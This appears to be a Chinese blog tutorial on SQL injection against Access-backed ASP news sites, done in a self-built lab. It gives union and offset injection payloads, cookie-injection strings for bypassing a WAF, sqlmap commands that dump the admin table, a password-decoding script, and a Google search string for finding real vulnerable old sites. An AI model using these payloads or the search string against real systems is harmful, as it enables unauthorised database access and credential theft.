Access数据库注入

huangxin0506 2024-8-1 360 8/1

1 Access 数据库

   简介:

    Microsoft Office Access是由微软发布的关系数据库管理系统。Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。它是微软Office家族的一个成员。Access以它自己的格式将数据存储在基于Access Jet的数据库引擎里。Access数据库属于文件型数据库,所以不需要端口号。在Office 2007之前的Access数据库文件的后缀是 .mdb ,Office2007及其之后的Access数据库文件的后缀是 .accdb 。

   特点:

1、Access数据库中没有注释符号,因此  /**/   、 --   和   #   都没法使用

2、Access是小型数据库,当容量到达100MB左右的时候性能就会开始下降

3、Access数据库不支持错误显示注入,Access数据库不能执行系统命令

4、Access没有系统自带库,不能通过系统自带库进行查询

Access数据库注入

2 Cookie注入

    简介

什么是Cookie?

    Cookie就是代表你身份的一串字符串,网站根据Cookie来识别你是谁,如果你获取了管理员的Cookie,你可以无需密码直接登陆管理员账号

Cookie与注入有何关联?

    在动态脚本语言中,超全局变量可以用来获取多种传参方式。在开发过程中,为了考虑到不同的传参需求,通常会采用多种方法来解释和接收参数。在 PHP 中,`$_REQUEST` 变量可以获取通过 POST、GET 和 COOKIE 传递的参数。不过需要注意的是,PHP 5.4 及以上版本不再支持通过 `$_REQUEST` 接收 COOKIE 参数

开发用$_REQUEST[]来接受参数,我们的POST和GET注入被Waf拦截了怎么办?

    那么也许Waf没有对Cookie进行检测,我们尝试用Cookie进行注入,然后不就可以绕过检测机制

3 搭建雷驰新闻系统靶场

   3.1 搭建window2003虚拟机

csdn 参考文档 http://t.csdnimg.cn/FjCqz

       迅雷下载ISO文件

ed2k://|file|cn_win_srv_2003_r2_standard_with_sp2_vl_cd1_X13-46532.iso|636440576|B39CCD2AE1E7EEC42328FD475A376778|/

   3.2 使用window2003搭建 IIS + asp +access 网站

csdn参考文档 http://t.csdnimg.cn/mOg3p

        asp源码下载

雷驰新闻系统V1.0  https://www.asp300.cn/31656.html

雷驰新闻系统V3.0 https://down.chinaz.com/soft/16763.htm

   3.3 直接选择虚拟机ip地址并配置相应端口,便可在本机上直接访问

Access数据库注入

   3.4 成功搭建

Access数据库注入

Access数据库注入

4 雷驰新闻系统 V1.0靶场实例

        随意进入一篇文章,发现URL栏地址发生变化,尝试注入 ' and 1=1 -- + 出现报错,发现是id参数为数值,不需要考虑引号闭合

Access数据库注入

注入 and 1=1 成功注入

Access数据库注入

注入  order by 12 出现报错,注入order by 11却成功,说明页面有11个字段

Access数据库注入

        注入 union select 1,2,3,4,5,6,7,8,9,10,11  出现报错,这是因为MySQL允许直接选择常量。而Access SQL不允许直接选择常量,它期望从一个具体的表中选择字段。

Access数据库注入

        一般以access为数据库的老网站都有两个表,adminnews ,admin表有两个字段username(user,name),password(passwd,pass),可以尝试 inurl: asp?id=1 谷歌输入法搜索老站

这里使用burp suite抓包后对数据表名进行爆破

Access数据库注入

得到2个表名adminnews

Access数据库注入

注入 union select 1,2,3,4,5,6,7,8,9,10,11 from admin  发现2,3,8,9,10是显示位

Access数据库注入

同理要想注入获得字段内容,需要尝试字段名名,依旧选择burp suite爆破

Access数据库注入

得到两个字段名admin,password

Access数据库注入

注入 union select 1,admin,password,4,5,6,7,8,9,10,11 from admin

Access数据库注入

猜测是登录名和密码,但不知道后台登录地址 ,一般老网站的后台登录路径 为admin/

        这里尝试使用御剑后台扫描爆破,选择ASP探测200(响应值),扫描得到路径为/admin/adminlogin.asp

Access数据库注入

输入用户名admin,密码bfpms,登陆不成功

Access数据库注入

猜测登陆密码经过加密后得到的是bfpms,编写解密脚本

def decrypt(text):
    result = ''
    for i, c in enumerate(text):
        result += chr(ord(c) - (i + 1))
    return result

# 示例
encrypted_text = "bfpms"  # 假设这个是加密过的消息
decrypted_text = decrypt(encrypted_text)
print("解密后的消息:", decrypted_text)

        得到真正登录密码为:admin
Access数据库注入

        成功登陆但是无法获取shell(是指一种命令行接口,它允许用户与操作系统进行交互),因为系统无法上传图片,编辑器损坏。

Access数据库注入

这里也可以使用sqlmap检测注入

sqlmap -u http://192.168.174.137:8002/onews.asp?id=45 --batch

Access布尔注入

Access数据库注入

输出数据表信息

sqlmap -u http://192.168.174.137:8002/onews.asp?id=45 --tables --batch

Access数据库注入

输出数据表字段信息

sqlmap -u http://192.168.174.137:8002/onews.asp?id=45 -T admin --column --batch

Access数据库注入

输出数据表字段内容

sqlmap -u http://192.168.174.137:8002/onews.asp?id=45 -T admin -C "id,admin,password" --dump --batch

Access数据库注入

5 雷驰新闻系统 V3.0靶场实例

注入 and 1=1 发现网页有waf,注入失败

Access数据库注入

        这里尝试采用cookie注入,因为WAF通常对常见的HTTP头(如GET、POST、URL参数)进行严格检查,但对一些不常见或次要的头(如Cookie)可能检查较少或没有严格的规则。

打开控制台输入document.cookie命令可以看到当前网页cookie

Access数据库注入

        GET请求参数的优先级高于Cookie,如果GET请求中已经包含了一个id参数,这个参数会覆盖Cookie中的id值。因此,你需要确保GET请求中没有包含id参数,这样才能让Cookie中的id值生效

这里换一种方法:使用 and exists(select * from 表名) 爆破表名

exists函数检查子查询是否能查询到数据,可以就返回true,页面正常

控制台输入

document.cookie="id="+escape("46 and exists(select * from tables)")

Access数据库注入

注入页面显示错误,说明表名不是tables,只有显示正常页面才说明表名正确,我们进行抓包爆破

Access数据库注入

得到2个表名admin,news

Access数据库注入

控制台输入

document.cookie="id="+escape("46 union select 1,2,3,4,5,6,7,8,9,10,11 from admin")

escape()函数:将函数里的内容进行url编码,

页面出现显示位

Access数据库注入

偏移注入

这里不使用爆破获取表名,换一种方法,我们使用偏移注入方式跳过输入表名

          表  .   *      等价于     *
Access数据库注入

        注入语句 document.cookie="id="+escape("46 union select 1,2,3,admin.*,5,6,7,8,9,10,11 from admin") 出现报错,说明admin.* 的字段码不止一个,继续调试

Access数据库注入

        直到admin.*占用4个字段位置时,注入 document.cookie="id="+escape("46 union select 1,2,3,admin.*,8,9,10,11 from admin") 页面成功显示

Access数据库注入

         可知2,3是显示位,注入 document.cookie="id="+escape("46 union select 1,admin.*,2,3,8,9,10,11 from admin") 即可显示admin.*前两个字段内容

Access数据库注入

成功显示前两个字段内容

Access数据库注入

        8,9,10是显示位,注入document.cookie="id="+escape("46 union select 1,2,3,8,9,10,admin.*,11 from admin")即可显示admin.*后3个字段内容

Access数据库注入

成功显示后三个字段内容

Access数据库注入

整合一下便是admin表首条记录内容,登陆名是admin,密码是 admin(解密后)

剩下操作和上文雷驰新闻系统v1.0相同,可自行操作

安装cookie插件实现注入

Access数据库注入

注入  id=46 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11 from admin

先URL转码为

id%3D46%20and%201%3D2%20union%20select%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%20from%20admin

新建一个cookie

Access数据库注入

注入成功

Access数据库注入

使用burp suite实现cookie注入

抓包将转码后的URL

id=id%3D46%20and%201%3D2%20union%20select%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%20from%20admin

粘贴到cookie后,并删除get请求头

Access数据库注入

成功注入

Access数据库注入

也可以使用sqlmap测试注入

使用burp suite抓包后在cookie后添加标记粘贴为txt

Access数据库注入

测试注入方式

sqlmap -r /home/kali/桌面/ceshi.txt -T --batch

Access数据库注入

得到数据表信息

sqlmap -r /home/kali/桌面/ceshi.txt --tables --batch

Access数据库注入

- THE END -

huangxin0506

8月02日08:28

最后修改:2024年8月2日
0

非特殊说明,本博所有文章均为博主原创。

共有 0 条评论